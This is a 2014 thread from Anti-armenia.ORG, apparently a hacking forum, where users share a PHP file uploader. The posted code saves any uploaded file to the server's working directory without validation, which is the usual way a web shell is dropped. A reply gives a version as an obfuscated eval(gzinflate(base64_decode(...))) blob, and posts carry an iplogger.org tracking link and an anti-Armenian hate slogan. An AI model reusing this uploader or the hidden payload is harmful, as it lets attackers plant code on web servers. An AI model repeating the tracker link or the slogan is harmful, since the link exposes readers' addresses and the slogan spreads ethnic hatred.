Anti-armenia.ORG - Forumlar - ZaraByte File Uploader



Istifadəçi
    2014-06-29 18:24 GMT                 

st0rybro



VIP
Mesaj Sayı : 46
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : BlacK GhosT
Yaş :
Mesaj :

Mövzunu Paylaş!


Ən Çox İşlətdiyim Uploaderdi.
Yararlı bir şeydir.

Kod:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>ZaraByte File Uploader</title>
   <link href="style/style.css" rel="stylesheet" type="text/css" />
</head>

<body>
<?php
    $myUpload = new maxUpload();
    //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
    $myUpload->uploadFile();
?>
<?php
/*************************************************
* ZaraByte File Uploader
*
* Version: 1.0
* Date: 2009-09-29
*
****************************************************/
class maxUpload{
    var $uploadLocation;
   
    /**
     * Constructor to initialize class varaibles
     * The uploadLocation will be set to the actual
     * working directory
     *
     * @return maxUpload
     */
    function maxUpload(){
        $this->uploadLocation = getcwd().DIRECTORY_SEPARATOR;
    }

    /**
     * This function sets the directory where to upload the file
     * In case of Windows server use the form: c:\\temp\\
     * In case of Unix server use the form: /tmp/
     *
     * @param String Directory where to store the files
     */
    function setUploadLocation($dir){
        $this->uploadLocation = $dir;
    }
   
    function showUploadForm($msg='',$error=''){
?>
       <div id="container">
            <div id="header"><div id="header_left"></div>
            <div id="header_main">ZaraByte's File Uploader</div><div id="header_right"></div></div>
            <div id="content">
<?php
if ($msg != ''){
    echo '<p class="msg">'.$msg.'</p>';
} else if ($error != ''){
    echo '<p class="emsg">'.$error.'</p>';

}
?>
                <form action="" method="post" enctype="multipart/form-data" >
                     <center>
                         <label>File:
                             <input name="myfile" type="file" size="30" />
                         </label>
                         <label>
                             <input type="submit" name="submitBtn" class="sbtn" value="Upload" />
                         </label>
                     </center>
                 </form>
             </div>
             <div id="footer"><a href="http://www.zarabyte.com" target="_blank">ZaraByte File Uploader</a></div>
         </div>
<?php
    }

    function uploadFile(){
        if (!isset($_POST['submitBtn'])){
            $this->showUploadForm();
        } else {
            $msg = '';
            $error = '';
           
            //Check destination directory
            if (!file_exists($this->uploadLocation)){
                $error = "The target directory doesn't exists!";
            } else if (!is_writeable($this->uploadLocation)) {
                $error = "The target directory is not writeable!";
            } else {
                $target_path = $this->uploadLocation . basename( $_FILES['myfile']['name']);

                if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
                    $msg = basename( $_FILES['myfile']['name']).
                    " was uploaded successfully!";
                } else{
                    $error = "The upload process failed!";
                }
            }

            $this->showUploadForm($msg,$error);
        }

    }

}
?>
</body>

http://iplogger.org/1uCH3.jpg
Anti-armenia.ORG
    

Istifadəçi
    2014-06-29 18:27 GMT                 

Cahangir25



Informatix
Mesaj Sayı : 1142
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   91  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : PHP
Ölkə :
Məslək : Front-end Web Developer
Yaş :
Mesaj :

Mövzunu Paylaş!


Sadəlik gözəllikdi

Kod:
<?php
eval(gzinflate(base64_decode('bZHBaoQwEIbvC/sOIQhRaGvp1UR6aAuFQgv2JhKijt2ASUTj0rLsuzdRt4vbDblk5pt//snIJpTDADYM+Md79pmTbCyVtKSIosN2g9wJGtlCLXvEEMYJWoJKfPu4C5KH++mQZEmNA/Q+x7VQHgj4y+vbc5YTqcQXkCInPkGKf7xV3VXcxfmqRDboz/V17ShCi/2phShN7aWXUe7WHpMz+ajMHvjYtUbUUHOPhCuDN7NY5Gqg2hlMK9AW+pSW6ZPRblyWXvwAjcuUxguGXd1xutAOcJhFyHZDG9MrpMDuTM2w3wRGorLSaIYxAl3Znw4YVmNrZSd6G3v+thZW4JRK3Y0WzYRvi5Hvy/D0Jxf5eb0n4vTai3Y8P51dL5/6jR5/AQ==')));

AZERBAIJAN!!! FUCK armenia!!!
Anti-armenia.ORG
    

Istifadəçi
    2014-06-29 18:30 GMT                 

st0rybro



VIP
Mesaj Sayı : 46
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : BlacK GhosT
Yaş :
Mesaj :

Mövzunu Paylaş!


olar

http://iplogger.org/1uCH3.jpg
Anti-armenia.ORG